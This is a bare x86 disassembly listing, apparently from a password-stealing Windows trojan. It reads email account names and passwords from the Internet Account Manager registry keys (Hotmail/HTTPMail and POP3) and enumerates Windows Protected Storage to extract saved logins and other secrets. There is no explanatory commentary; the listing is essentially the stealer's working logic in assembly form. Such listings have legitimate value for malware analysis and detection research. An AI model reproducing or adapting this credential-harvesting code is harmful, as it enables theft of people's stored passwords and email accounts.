		lea	edi, [ebp+var_240]
		xor	ebx, ebx
		rep movsd
		cmp	[ebp+var_1B8], ebx
		mov	edi, [ebp+var_240]
		mov	dword ptr [eax+0BCh], 1
		jz	short loc_415E13
		push	1000h
		lea	eax, [ebp+var_1240]
		push	[ebp+var_1B8]
		push	eax
		call	sub_4222F0
		add	esp, 0Ch


loc_415E13:				; CODE XREF: sub_415DBD+3Aj
		cmp	dword_4543E8, ebx
		mov	esi, offset aIazcn0rzRw0xfk ; "iaZcN0Rz/rw0xfK1r.VuQwI."
		jnz	short loc_415E27
		call	sub_415EA7
		jmp	short loc_415E3D
; ---------------------------------------------------------------------------


loc_415E27:				; CODE XREF: sub_415DBD+61j
		push	esi
		lea	eax, [ebp+var_23C]
		push	offset aSAdvapi_dllNot ; "%s Advapi.dll	not loaded"
		push	eax
		push	edi
		call	sub_4104F6
		add	esp, 10h


loc_415E3D:				; CODE XREF: sub_415DBD+68j
		cmp	dword_454438, ebx
		jnz	short loc_415E7B
		push	[ebp+var_190]
		cmp	[ebp+var_1B8], ebx
		push	[ebp+var_188]
		push	[ebp+var_18C]
		jz	short loc_415E78
		lea	eax, [ebp+var_1240]
		push	eax


loc_415E66:				; CODE XREF: sub_415DBD+BCj
		lea	eax, [ebp+var_23C]
		push	edi
		push	eax
		call	sub_416208
		add	esp, 18h
		jmp	short loc_415E91
; ---------------------------------------------------------------------------


loc_415E78:				; CODE XREF: sub_415DBD+A0j
		push	ebx
		jmp	short loc_415E66
; ---------------------------------------------------------------------------


loc_415E7B:				; CODE XREF: sub_415DBD+86j
		push	esi
		lea	eax, [ebp+var_23C]
		push	offset aSPstore_dllNot ; "%s PStore.dll	not loaded"
		push	eax
		push	edi
		call	sub_4104F6
		add	esp, 10h


loc_415E91:				; CODE XREF: sub_415DBD+B9j
		push	[ebp+var_1BC]
		call	sub_41C059
		pop	ecx
		push	ebx
		call	dword_42F150	; ExitThread
		pop	edi
		pop	esi
		pop	ebx
sub_415DBD	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_415EA7	proc near		; CODE XREF: sub_415DBD+63p

var_2EC		= byte ptr -2ECh
var_224		= byte ptr -224h
var_15C		= byte ptr -15Ch
var_C4		= byte ptr -0C4h
var_2C		= byte ptr -2Ch
var_24		= dword	ptr -24h
var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4

		push	ebp
		mov	ebp, esp
		sub	esp, 2ECh
		push	ebx
		push	edi
		xor	ebx, ebx
		push	3A98h
		push	ebx
		push	offset dword_458738
		call	sub_4221F0
		mov	edi, dword_42F04C
		add	esp, 0Ch
		lea	eax, [ebp+var_224]
		push	offset aSoftwareMicr_2 ; "Software\\Microsoft\\Internet	Account	Man"...
		push	eax
		call	edi ; dword_42F04C
		lea	eax, [ebp+var_24]
		push	eax
		push	0F003Fh
		lea	eax, [ebp+var_224]
		push	ebx
		push	eax
		push	80000001h
		call	dword_454384	; RegOpenKeyExA
		test	eax, eax
		jnz	loc_416204
		push	esi
		mov	[ebp+var_18], ebx
		mov	[ebp+var_10], 3
		mov	esi, 96h


loc_415F0F:				; CODE XREF: sub_415EA7+356j
		lea	eax, [ebp+var_2C]
		mov	[ebp+var_1C], 0C8h
		push	eax
		push	ebx
		push	ebx
		lea	eax, [ebp+var_1C]
		push	ebx
		push	eax
		lea	eax, [ebp+var_2EC]
		push	eax
		push	[ebp+var_18]
		push	[ebp+var_24]
		call	dword_454264	; RegEnumKeyExA
		mov	[ebp+var_20], eax
		lea	eax, [ebp+var_224]
		push	offset aSoftwareMicr_2 ; "Software\\Microsoft\\Internet	Account	Man"...
		push	eax
		call	edi ; dword_42F04C
		lea	eax, [ebp+var_224]
		push	offset asc_43E8EC ; "\\"
		push	eax
		call	dword_42F0D4	; lstrcatA
		lea	eax, [ebp+var_2EC]
		push	eax
		lea	eax, [ebp+var_224]
		push	eax
		call	dword_42F0D4	; lstrcatA
		lea	eax, [ebp+var_14]
		push	eax
		push	0F003Fh
		lea	eax, [ebp+var_224]
		push	ebx
		push	eax
		push	80000001h
		call	dword_454384	; RegOpenKeyExA
		lea	eax, [ebp+var_8]
		mov	[ebp+var_8], esi
		push	eax
		lea	eax, [ebp+var_15C]
		push	eax
		lea	eax, [ebp+var_10]
		push	eax
		push	ebx
		push	offset aHttpmailUserna ; "HTTPMail UserName"
		push	[ebp+var_14]
		call	dword_4541F8	; RegQueryValueExA
		test	eax, eax
		jnz	loc_416093
		lea	eax, [ebp+var_15C]
		push	eax
		mov	eax, dword_45C1D0
		imul	eax, 12Ch
		add	eax, offset dword_458738
		push	eax
		call	edi ; dword_42F04C
		push	esi
		lea	eax, [ebp+var_15C]
		push	ebx
		push	eax
		call	sub_4221F0
		mov	eax, dword_45C1D0
		add	esp, 0Ch
		imul	eax, 12Ch
		add	eax, offset dword_458800
		push	offset aHotmail	; "Hotmail"
		push	eax
		call	edi ; dword_42F04C
		lea	eax, [ebp+var_8]
		mov	[ebp+var_8], esi
		push	eax
		lea	eax, [ebp+var_C4]
		push	eax
		lea	eax, [ebp+var_10]
		push	eax
		push	ebx
		push	offset aHttpmailPass2 ;	"HTTPMail Pass2"
		push	[ebp+var_14]
		call	dword_4541F8	; RegQueryValueExA
		test	eax, eax
		jnz	loc_4161DC
		push	2
		mov	[ebp+var_C], ebx
		pop	eax
		cmp	[ebp+var_8], eax
		mov	[ebp+var_4], eax
		jbe	loc_4161C7


loc_41602E:				; CODE XREF: sub_415EA7+1E5j
		mov	eax, [ebp+var_4]
		mov	al, [ebp+eax+var_C4]
		push	eax
		call	dword_42F248	; IsCharAlphaNumericA
		test	eax, eax
		jnz	short loc_416061
		mov	eax, [ebp+var_4]
		mov	al, [ebp+eax+var_C4]
		cmp	al, 28h
		jz	short loc_416061
		cmp	al, 29h
		jz	short loc_416061
		cmp	al, 2Eh
		jz	short loc_416061
		cmp	al, 20h
		jz	short loc_416061
		cmp	al, 2Dh
		jnz	short loc_416083


loc_416061:				; CODE XREF: sub_415EA7+19Aj
					; sub_415EA7+1A8j ...
		mov	eax, dword_45C1D0
		mov	ecx, [ebp+var_4]
		imul	eax, 12Ch
		mov	edx, [ebp+var_C]
		mov	cl, [ebp+ecx+var_C4]
		inc	[ebp+var_C]
		mov	byte_45879C[eax+edx], cl


loc_416083:				; CODE XREF: sub_415EA7+1B8j
		inc	[ebp+var_4]
		mov	eax, [ebp+var_4]
		cmp	eax, [ebp+var_8]
		jb	short loc_41602E
		jmp	loc_4161C7
; ---------------------------------------------------------------------------


loc_416093:				; CODE XREF: sub_415EA7+103j
		lea	eax, [ebp+var_8]
		push	eax
		lea	eax, [ebp+var_15C]
		push	eax
		lea	eax, [ebp+var_10]
		push	eax
		push	ebx
		push	offset aPop3UserName ; "POP3 User Name"
		push	[ebp+var_14]
		call	dword_4541F8	; RegQueryValueExA
		test	eax, eax
		jnz	loc_4161F3
		lea	eax, [ebp+var_15C]
		push	eax
		mov	eax, dword_45C1D0
		imul	eax, 12Ch
		add	eax, offset dword_458738
		push	eax
		call	edi ; dword_42F04C
		push	esi
		lea	eax, [ebp+var_15C]
		push	ebx
		push	eax
		call	sub_4221F0
		add	esp, 0Ch
		lea	eax, [ebp+var_8]
		mov	[ebp+var_8], esi
		push	eax
		lea	eax, [ebp+var_15C]
		push	eax
		lea	eax, [ebp+var_10]
		push	eax
		push	ebx
		push	offset aPop3Server ; "POP3 Server"
		push	[ebp+var_14]
		call	dword_4541F8	; RegQueryValueExA
		lea	eax, [ebp+var_15C]
		push	eax
		mov	eax, dword_45C1D0
		imul	eax, 12Ch
		add	eax, offset dword_458800
		push	eax
		call	edi ; dword_42F04C
		push	esi
		lea	eax, [ebp+var_15C]
		push	ebx
		push	eax
		call	sub_4221F0
		add	esp, 0Ch
		lea	eax, [ebp+var_8]
		mov	[ebp+var_8], esi
		push	eax
		lea	eax, [ebp+var_C4]
		push	eax
		lea	eax, [ebp+var_10]
		push	eax
		push	ebx
		push	offset aPop3Pass2 ; "POP3 Pass2"
		push	[ebp+var_14]
		call	dword_4541F8	; RegQueryValueExA
		test	eax, eax
		jnz	loc_4161DC
		push	2
		mov	[ebp+var_C], ebx
		pop	eax
		cmp	[ebp+var_8], eax
		mov	[ebp+var_4], eax
		jbe	short loc_4161C7


loc_416167:				; CODE XREF: sub_415EA7+31Ej
		mov	eax, [ebp+var_4]
		mov	al, [ebp+eax+var_C4]
		push	eax
		call	dword_42F248	; IsCharAlphaNumericA
		test	eax, eax
		jnz	short loc_41619A
		mov	eax, [ebp+var_4]
		mov	al, [ebp+eax+var_C4]
		cmp	al, 28h
		jz	short loc_41619A
		cmp	al, 29h
		jz	short loc_41619A
		cmp	al, 2Eh
		jz	short loc_41619A
		cmp	al, 20h
		jz	short loc_41619A
		cmp	al, 2Dh
		jnz	short loc_4161BC


loc_41619A:				; CODE XREF: sub_415EA7+2D3j
					; sub_415EA7+2E1j ...
		mov	eax, dword_45C1D0
		mov	ecx, [ebp+var_4]
		imul	eax, 12Ch
		mov	edx, [ebp+var_C]
		mov	cl, [ebp+ecx+var_C4]
		inc	[ebp+var_C]
		mov	byte_45879C[eax+edx], cl


loc_4161BC:				; CODE XREF: sub_415EA7+2F1j
		inc	[ebp+var_4]
		mov	eax, [ebp+var_4]
		cmp	eax, [ebp+var_8]
		jb	short loc_416167


loc_4161C7:				; CODE XREF: sub_415EA7+181j
					; sub_415EA7+1E7j ...
		mov	eax, dword_45C1D0
		mov	ecx, [ebp+var_C]
		imul	eax, 12Ch
		mov	byte_45879C[eax+ecx], bl


loc_4161DC:				; CODE XREF: sub_415EA7+16Fj
					; sub_415EA7+2ACj
		push	esi
		lea	eax, [ebp+var_C4]
		push	ebx
		push	eax
		call	sub_4221F0
		add	esp, 0Ch
		inc	dword_45C1D0


loc_4161F3:				; CODE XREF: sub_415EA7+20Cj
		inc	[ebp+var_18]
		cmp	[ebp+var_20], 103h
		jnz	loc_415F0F
		pop	esi


loc_416204:				; CODE XREF: sub_415EA7+52j
		pop	edi
		pop	ebx
		leave
		retn
sub_415EA7	endp


; =============== S U B	R O U T	I N E =======================================



sub_416208	proc near		; CODE XREF: sub_415DBD+B1p
		mov	eax, offset loc_42EF20
		call	sub_423A68
		sub	esp, 0DF0h
		push	ebx
		push	esi
		push	edi
		push	offset aProtectedstora ; "ProtectedStorage"
		call	sub_41F7BE
		test	eax, eax
		pop	ecx
		jnz	short loc_416277
		xor	edi, edi
		mov	ebx, offset aIazcn0rzRw0xfk ; "iaZcN0Rz/rw0xfK1r.VuQwI."
		cmp	[ebp+14h], edi
		mov	esi, offset aSPstoreNotRunn ; "%s PStore not running."
		jnz	short loc_416259
		cmp	[ebp+18h], edi
		jnz	short loc_416262
		cmp	[ebp+1Ch], edi
		jz	loc_416378
		push	ebx
		push	esi
		push	dword ptr [ebp+8]
		push	dword ptr [ebp+0Ch]
		call	sub_4104F6
		add	esp, 10h


loc_416259:				; CODE XREF: sub_416208+31j
		cmp	[ebp+18h], edi
		jz	loc_416378


loc_416262:				; CODE XREF: sub_416208+36j
		push	ebx
		push	esi
		push	dword ptr [ebp+8]
		push	dword ptr [ebp+0Ch]
		call	sub_410491
		add	esp, 10h
		jmp	loc_416378
; ---------------------------------------------------------------------------


loc_416277:				; CODE XREF: sub_416208+20j
		call	sub_41F76B
		xor	edi, edi
		mov	[ebp-14h], edi
		push	edi
		push	edi
		lea	eax, [ebp-10h]
		push	edi
		push	eax
		mov	[ebp-4], edi
		mov	[ebp-10h], edi
		call	dword_4542EC
		cmp	eax, edi
		jge	short loc_4162E3
		cmp	[ebp+14h], edi
		mov	ebx, offset aIazcn0rzRw0xfk ; "iaZcN0Rz/rw0xfK1r.VuQwI."
		mov	esi, offset aSPstorecreatei ; "%s PStoreCreateInstance() error."
		jnz	short loc_4162C5
		cmp	[ebp+18h], edi
		jnz	short loc_4162CE
		cmp	[ebp+1Ch], edi
		jz	loc_416367
		push	ebx
		push	esi
		push	dword ptr [ebp+8]
		push	dword ptr [ebp+0Ch]
		call	sub_4104F6
		add	esp, 10h


loc_4162C5:				; CODE XREF: sub_416208+9Dj
		cmp	[ebp+18h], edi
		jz	loc_416367


loc_4162CE:				; CODE XREF: sub_416208+A2j
		push	ebx
		push	esi
		push	dword ptr [ebp+8]
		push	dword ptr [ebp+0Ch]
		call	sub_410491
		add	esp, 10h
		jmp	loc_416367
; ---------------------------------------------------------------------------


loc_4162E3:				; CODE XREF: sub_416208+8Ej
		cmp	[ebp-10h], edi
		mov	byte ptr [ebp-4], 1
		mov	[ebp-20h], edi
		jnz	short loc_4162F9
		push	80004003h
		call	sub_421E08


loc_4162F9:				; CODE XREF: sub_416208+E5j
		mov	esi, [ebp-10h]
		lea	ecx, [ebp-20h]
		push	ecx
		push	edi
		mov	eax, [esi]
		push	edi
		push	esi
		call	dword ptr [eax+38h]
		cmp	eax, edi
		jge	short loc_41637F
		push	offset dword_43EA94
		push	esi
		push	eax
		call	sub_421E16
		cmp	[ebp+14h], edi
		mov	ebx, offset aIazcn0rzRw0xfk ; "iaZcN0Rz/rw0xfK1r.VuQwI."
		mov	esi, offset aSFailedToQue_1 ; "%s Failed to query PStore."
		jnz	short loc_416341
		cmp	[ebp+18h], edi
		jnz	short loc_416346
		cmp	[ebp+1Ch], edi
		jz	short loc_416356
		push	ebx
		push	esi
		push	dword ptr [ebp+8]
		push	dword ptr [ebp+0Ch]
		call	sub_4104F6
		add	esp, 10h


loc_416341:				; CODE XREF: sub_416208+11Dj
		cmp	[ebp+18h], edi
		jz	short loc_416356


loc_416346:				; CODE XREF: sub_416208+122j
		push	ebx
		push	esi
		push	dword ptr [ebp+8]
		push	dword ptr [ebp+0Ch]
		call	sub_410491
		add	esp, 10h


loc_416356:				; CODE XREF: sub_416208+127j
					; sub_416208+13Cj
		mov	eax, [ebp-20h]
		and	byte ptr [ebp-4], 0
		cmp	eax, edi
		jz	short loc_416367
		mov	ecx, [eax]
		push	eax
		call	dword ptr [ecx+8]


loc_416367:				; CODE XREF: sub_416208+A7j
					; sub_416208+C0j ...
		mov	eax, [ebp-10h]
		or	dword ptr [ebp-4], 0FFFFFFFFh
		cmp	eax, edi
		jz	short loc_416378
		mov	ecx, [eax]
		push	eax
		call	dword ptr [ecx+8]


loc_416378:				; CODE XREF: sub_416208+3Bj
					; sub_416208+54j ...
		xor	eax, eax
		jmp	loc_416B3D
; ---------------------------------------------------------------------------


loc_41637F:				; CODE XREF: sub_416208+102j
		mov	ebx, offset aIazcn0rzRw0xfk ; "iaZcN0Rz/rw0xfK1r.VuQwI."


loc_416384:				; CODE XREF: sub_416208+8C1j
					; sub_416208+8CDj
		xor	edi, edi
		cmp	[ebp-20h], edi
		jnz	short loc_416395
		push	80004003h
		call	sub_421E08


loc_416395:				; CODE XREF: sub_416208+181j
		mov	eax, [ebp-20h]
		lea	edx, [ebp-40h]
		push	edi
		push	edx
		mov	ecx, [eax]
		push	1
		push	eax
		call	dword ptr [ecx+0Ch]
		test	eax, eax
		jnz	loc_416ADA
		sub	esp, 10h
		lea	esi, [ebp-40h]
		mov	edi, esp
		lea	eax, [ebp-84h]
		movsd
		movsd
		movsd
		push	offset asc_43EA74 ; "%x"
		push	eax
		movsd
		call	dword_42F24C	; wsprintfA
		add	esp, 18h
		and	dword ptr [ebp-2Ch], 0
		cmp	dword ptr [ebp-10h], 0
		mov	byte ptr [ebp-4], 2
		jnz	short loc_4163E6
		push	80004003h
		call	sub_421E08


loc_4163E6:				; CODE XREF: sub_416208+1D2j
		mov	esi, [ebp-10h]
		lea	ecx, [ebp-2Ch]
		push	ecx
		lea	ecx, [ebp-40h]
		mov	eax, [esi]
		push	0
		push	ecx
		push	0
		push	esi
		call	dword ptr [eax+3Ch]
		test	eax, eax
		jge	short loc_41640B
		push	offset dword_43EA94
		push	esi
		push	eax
		call	sub_421E16


loc_41640B:				; CODE XREF: sub_416208+1F5j
		mov	edi, dword_42F04C


loc_416411:				; CODE XREF: sub_416208+8A7j
					; sub_416208+8B3j
		xor	esi, esi
		cmp	[ebp-2Ch], esi
		jnz	short loc_416422
		push	80004003h
		call	sub_421E08


loc_416422:				; CODE XREF: sub_416208+20Ej
		mov	eax, [ebp-2Ch]
		lea	edx, [ebp-50h]
		push	esi
		push	edx
		mov	ecx, [eax]
		push	1
		push	eax
		call	dword ptr [ecx+0Ch]
		test	eax, eax
		jnz	loc_416AC0
		cmp	[ebp-10h], esi
		mov	byte ptr [ebp-4], 3
		mov	[ebp-28h], esi
		jnz	short loc_416450
		push	80004003h
		call	sub_421E08


loc_416450:				; CODE XREF: sub_416208+23Cj
		mov	esi, [ebp-10h]
		lea	ecx, [ebp-28h]
		push	ecx
		lea	ecx, [ebp-50h]
		mov	eax, [esi]
		push	0
		push	ecx
		lea	ecx, [ebp-40h]
		push	ecx
		push	0
		push	esi
		call	dword ptr [eax+54h]
		test	eax, eax
		jge	short loc_416479
		push	offset dword_43EA94
		push	esi
		push	eax
		call	sub_421E16


loc_416479:				; CODE XREF: sub_416208+263j
					; sub_416208+899j
		xor	esi, esi
		cmp	[ebp-28h], esi
		jnz	short loc_41648A
		push	80004003h
		call	sub_421E08


loc_41648A:				; CODE XREF: sub_416208+276j
		mov	eax, [ebp-28h]
		lea	edx, [ebp-30h]
		push	esi
		push	edx
		mov	ecx, [eax]
		push	1
		push	eax
		call	dword ptr [ecx+0Ch]
		test	eax, eax
		jnz	loc_416AA6
		push	dword ptr [ebp-30h]
		lea	eax, [ebp-614h]
		push	offset aWs	; "%ws"
		push	eax
		call	dword_42F24C	; wsprintfA
		add	esp, 0Ch
		cmp	[ebp-10h], esi
		mov	[ebp-24h], esi
		mov	[ebp-18h], esi
		jnz	short loc_4164CF
		push	80004003h
		call	sub_421E08


loc_4164CF:				; CODE XREF: sub_416208+2BBj
		xor	eax, eax
		lea	edx, [ebp-18h]
		push	eax
		push	eax
		push	edx
		mov	esi, [ebp-10h]
		lea	edx, [ebp-24h]
		push	edx
		mov	ecx, [esi]
		push	dword ptr [ebp-30h]
		lea	edx, [ebp-50h]
		push	edx
		lea	edx, [ebp-40h]
		push	edx
		push	eax
		push	esi
		call	dword ptr [ecx+44h]
		test	eax, eax
		jge	short loc_416500
		push	offset dword_43EA94
		push	esi
		push	eax
		call	sub_421E16


loc_416500:				; CODE XREF: sub_416208+2EAj
		push	dword ptr [ebp-18h]
		call	dword_42F0DC	; lstrlenA
		mov	esi, [ebp-24h]
		lea	ecx, [esi-1]
		cmp	eax, ecx
		jnb	short loc_416547
		xor	ecx, ecx
		xor	edx, edx
		test	esi, esi
		jbe	short loc_41653D


loc_41651B:				; CODE XREF: sub_416208+333j
		mov	eax, [ebp-18h]
		mov	al, [edx+eax]
		test	al, al
		jnz	short loc_41652F
		mov	byte ptr [ebp+ecx-414h], 2Ch
		jmp	short loc_416536
; ---------------------------------------------------------------------------


loc_41652F:				; CODE XREF: sub_416208+31Bj
		mov	[ebp+ecx-414h],	al


loc_416536:				; CODE XREF: sub_416208+325j
		inc	ecx
		inc	edx
		inc	edx
		cmp	edx, esi
		jb	short loc_41651B


loc_41653D:				; CODE XREF: sub_416208+311j
		and	byte ptr [ebp+ecx-415h], 0
		jmp	short loc_41655F
; ---------------------------------------------------------------------------


loc_416547:				; CODE XREF: sub_416208+309j
		push	dword ptr [ebp-18h]
		lea	eax, [ebp-414h]
		push	offset aS_1	; "%s"
		push	eax
		call	dword_42F24C	; wsprintfA
		add	esp, 0Ch


loc_41655F:				; CODE XREF: sub_416208+33Dj
		mov	esi, offset byte_44D6A4
		lea	eax, [ebp-0DFCh]
		push	esi
		push	eax
		call	edi ; dword_42F04C
		lea	eax, [ebp-814h]
		push	esi
		push	eax
		call	edi ; dword_42F04C
		lea	eax, [ebp-84h]
		push	offset a5e7e8100 ; "5e7e8100"
		push	eax
		call	dword_42F0A8	; lstrcmpA
		test	eax, eax
		jnz	loc_41664F
		lea	eax, [ebp-1B0h]
		push	esi
		push	eax
		call	edi ; dword_42F04C
		lea	eax, [ebp-414h]
		push	offset asc_4381C4 ; ":"
		push	eax
		call	sub_4235C0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_4165E7
		lea	eax, [ebp-414h]
		push	offset asc_4381C4 ; ":"
		push	eax
		call	sub_4235C0
		pop	ecx
		inc	eax
		pop	ecx
		push	eax
		lea	eax, [ebp-1B0h]
		push	eax
		call	edi ; dword_42F04C
		lea	eax, [ebp-414h]
		push	offset asc_4381C4 ; ":"
		push	eax
		call	sub_4235C0
		and	byte ptr [eax],	0
		pop	ecx
		pop	ecx


loc_4165E7:				; CODE XREF: sub_416208+3A9j
		inc	dword ptr [ebp-14h]
		lea	eax, [ebp-414h]
		push	esi
		push	eax
		call	sub_422760
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_416610
		lea	eax, [ebp-1B0h]
		push	esi
		push	eax
		call	sub_422760
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_416616


loc_416610:				; CODE XREF: sub_416208+3F3j
		cmp	dword ptr [ebp+1Ch], 0
		jz	short loc_41664F


loc_416616:				; CODE XREF: sub_416208+406j
		lea	eax, [ebp-1B0h]
		cmp	dword ptr [ebp+18h], 0
		push	eax
		lea	eax, [ebp-414h]
		push	eax
		lea	eax, [ebp-614h]
		push	eax
		push	ebx
		push	offset dword_43EA38
		push	dword ptr [ebp+10h]
		push	dword ptr [ebp+8]
		push	dword ptr [ebp+0Ch]
		jnz	short loc_416647
		call	sub_4105DF
		jmp	short loc_41664C
; ---------------------------------------------------------------------------


loc_416647:				; CODE XREF: sub_416208+436j
		call	sub_41066C


loc_41664C:				; CODE XREF: sub_416208+43Dj
		add	esp, 20h


loc_41664F:				; CODE XREF: sub_416208+384j
					; sub_416208+40Cj
		lea	eax, [ebp-84h]
		push	offset aE161255a ; "e161255a"
		push	eax
		call	dword_42F0A8	; lstrcmpA
		test	eax, eax
		jnz	loc_4167B6
		lea	eax, [ebp-614h]
		push	offset aStringindex ; "StringIndex"
		push	eax
		call	sub_4235C0
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_4167B6
		lea	eax, [ebp-614h]
		push	offset dword_43EA18
		push	eax
		call	sub_4235C0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_4166B1
		lea	eax, [ebp-614h]
		push	offset dword_43EA18
		push	eax
		call	sub_4235C0
		and	byte ptr [eax],	0
		pop	ecx
		pop	ecx


loc_4166B1:				; CODE XREF: sub_416208+491j
		lea	eax, [ebp-614h]
		push	8
		push	eax
		lea	eax, [ebp-1B0h]
		push	eax
		call	dword_42F0D8	; lstrcpynA
		lea	eax, [ebp-1B0h]
		push	offset dword_43EA10
		push	eax
		call	sub_4235C0
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_4166F9
		lea	eax, [ebp-1B0h]
		push	offset dword_43EA08
		push	eax
		call	sub_4235C0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4167B6


loc_4166F9:				; CODE XREF: sub_416208+4D4j
		lea	eax, [ebp-1B0h]
		push	esi
		push	eax
		call	edi ; dword_42F04C
		lea	eax, [ebp-414h]
		push	offset dword_43EA04
		push	eax
		call	sub_4235C0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_41674E
		lea	eax, [ebp-414h]
		push	offset dword_43EA04
		push	eax
		call	sub_4235C0
		pop	ecx
		inc	eax
		pop	ecx
		push	eax
		lea	eax, [ebp-1B0h]
		push	eax
		call	edi ; dword_42F04C
		lea	eax, [ebp-414h]
		push	offset dword_43EA04
		push	eax
		call	sub_4235C0
		and	byte ptr [eax],	0
		pop	ecx
		pop	ecx


loc_41674E:				; CODE XREF: sub_416208+510j
		inc	dword ptr [ebp-14h]
		lea	eax, [ebp-414h]
		push	esi
		push	eax
		call	sub_422760
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_416777
		lea	eax, [ebp-1B0h]
		push	esi
		push	eax
		call	sub_422760
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_41677D


loc_416777:				; CODE XREF: sub_416208+55Aj
		cmp	dword ptr [ebp+1Ch], 0
		jz	short loc_4167B6


loc_41677D:				; CODE XREF: sub_416208+56Dj
		lea	eax, [ebp-1B0h]
		cmp	dword ptr [ebp+18h], 0
		push	eax
		lea	eax, [ebp-414h]
		push	eax
		lea	eax, [ebp-614h]
		push	eax
		push	ebx
		push	offset dword_43E9E0
		push	dword ptr [ebp+10h]
		push	dword ptr [ebp+8]
		push	dword ptr [ebp+0Ch]
		jnz	short loc_4167AE
		call	sub_4105DF
		jmp	short loc_4167B3
; ---------------------------------------------------------------------------


loc_4167AE:				; CODE XREF: sub_416208+59Dj
		call	sub_41066C


loc_4167B3:				; CODE XREF: sub_416208+5A4j
		add	esp, 20h


loc_4167B6:				; CODE XREF: sub_416208+45Bj
					; sub_416208+476j ...
		lea	eax, [ebp-84h]
		push	offset aB9819c52 ; "b9819c52"
		push	eax
		call	dword_42F0A8	; lstrcmpA
		test	eax, eax
		jnz	loc_416957
		mov	eax, [ebp-18h]
		xor	esi, esi
		xor	edi, edi
		cmp	[ebp-24h], esi
		jbe	short loc_41681F


loc_4167DC:				; CODE XREF: sub_416208+615j
		mov	cl, [esi+eax]
		test	cl, cl
		jnz	short loc_4167ED
		mov	byte ptr [ebp+edi-414h], 2Ch
		jmp	short loc_416817
; ---------------------------------------------------------------------------


loc_4167ED:				; CODE XREF: sub_416208+5D9j
		push	ecx
		call	dword_42F248	; IsCharAlphaNumericA
		test	eax, eax
		mov	eax, [ebp-18h]
		jnz	short loc_41680D
		mov	cl, [esi+eax]
		cmp	cl, 40h
		jz	short loc_41680D
		cmp	cl, 2Eh
		jz	short loc_41680D
		cmp	cl, 5Fh
		jnz	short loc_416818


loc_41680D:				; CODE XREF: sub_416208+5F1j
					; sub_416208+5F9j ...
		mov	cl, [esi+eax]
		mov	[ebp+edi-414h],	cl


loc_416817:				; CODE XREF: sub_416208+5E3j
		inc	edi


loc_416818:				; CODE XREF: sub_416208+603j
		inc	esi
		inc	esi
		cmp	esi, [ebp-24h]
		jb	short loc_4167DC


loc_41681F:				; CODE XREF: sub_416208+5D2j
		and	byte ptr [ebp+edi-415h], 0
		and	dword ptr [ebp-1Ch], 0
		cmp	byte ptr [eax+4], 0
		lea	esi, [ebp-412h]
		jbe	loc_416957
		mov	edi, offset dword_43EA04


loc_416840:				; CODE XREF: sub_416208+749j
		inc	esi
		lea	eax, [ebp-214h]
		push	esi
		push	eax
		call	dword_42F04C	; lstrcpyA
		lea	eax, [ebp-214h]
		push	edi
		push	eax
		call	sub_4235C0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_416874
		lea	eax, [ebp-214h]
		push	edi
		push	eax
		call	sub_4235C0
		and	byte ptr [eax],	0
		pop	ecx
		pop	ecx


loc_416874:				; CODE XREF: sub_416208+658j
		push	edi
		push	esi
		call	sub_4235C0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_41689A
		push	edi
		push	esi
		call	sub_4235C0
		pop	ecx
		inc	eax
		pop	ecx
		inc	eax
		push	eax
		lea	eax, [ebp-0E8h]
		push	eax
		call	dword_42F04C	; lstrcpyA


loc_41689A:				; CODE XREF: sub_416208+677j
		lea	eax, [ebp-0E8h]
		push	edi
		push	eax
		call	sub_4235C0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_4168BF
		lea	eax, [ebp-0E8h]
		push	edi
		push	eax
		call	sub_4235C0
		and	byte ptr [eax],	0
		pop	ecx
		pop	ecx


loc_4168BF:				; CODE XREF: sub_416208+6A3j
		push	edi
		push	esi
		call	sub_4235C0
		pop	ecx
		mov	esi, eax
		pop	ecx
		lea	eax, [ebp-0E8h]
		push	eax
		call	dword_42F0DC	; lstrlenA
		lea	esi, [esi+eax+9]
		lea	eax, [ebp-0E8h]
		push	offset byte_44D6A4
		push	eax
		call	sub_422760
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_416909
		lea	eax, [ebp-214h]
		push	offset byte_44D6A4
		push	eax
		call	sub_422760
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_41690F


loc_416909:				; CODE XREF: sub_416208+6E8j
		cmp	dword ptr [ebp+1Ch], 0
		jz	short loc_416944


loc_41690F:				; CODE XREF: sub_416208+6FFj
		lea	eax, [ebp-0E8h]
		inc	dword ptr [ebp-14h]
		push	eax
		lea	eax, [ebp-214h]
		push	eax
		push	ebx
		cmp	dword ptr [ebp+18h], 0
		push	offset dword_43E9AC
		push	dword ptr [ebp+10h]
		push	dword ptr [ebp+8]
		push	dword ptr [ebp+0Ch]
		jnz	short loc_41693C
		call	sub_4105DF
		jmp	short loc_416941
; ---------------------------------------------------------------------------


loc_41693C:				; CODE XREF: sub_416208+72Bj
		call	sub_41066C


loc_416941:				; CODE XREF: sub_416208+732j
		add	esp, 1Ch


loc_416944:				; CODE XREF: sub_416208+705j
		mov	eax, [ebp-18h]
		inc	dword ptr [ebp-1Ch]
		movzx	eax, byte ptr [eax+4]
		cmp	[ebp-1Ch], eax
		jl	loc_416840


loc_416957:				; CODE XREF: sub_416208+5C2j
					; sub_416208+62Dj
		lea	eax, [ebp-84h]
		push	offset a220d5cc1 ; "220d5cc1"
		push	eax
		call	dword_42F0A8	; lstrcmpA
		test	eax, eax
		jnz	loc_416A75
		xor	esi, esi
		mov	edi, offset byte_44D6A4
		cmp	dword_45C1D0, esi
		jle	short loc_4169BE
		mov	dword ptr [ebp-1Ch], offset byte_45879C


